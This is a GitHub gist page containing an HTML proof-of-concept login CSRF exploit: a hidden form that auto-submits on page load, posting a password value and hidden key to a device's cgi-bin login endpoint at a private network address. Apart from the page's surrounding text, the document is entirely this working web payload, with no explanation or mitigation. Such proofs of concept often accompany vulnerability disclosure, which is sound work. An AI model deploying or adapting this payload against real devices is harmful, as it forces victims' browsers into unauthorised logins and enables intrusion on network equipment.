Skip to content

Instantly share code, notes, and snippets.

@danzajork

danzajork/login-csrf.html Secret

Created Nov 2, 2017
Embed
What would you like to do?
<html>
<body>
<form style="visibility: hidden" id="csrf" name="loginForm" action="http://192.168.0.160/cgi-bin/dologin" method="POST">
<input name="P2" type="password" value="123">
<input type="submit" name="Login" value="Login">
<input name="gnkey" type=hidden value=0b82>
</form>
<script>
document.getElementById("csrf").submit();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment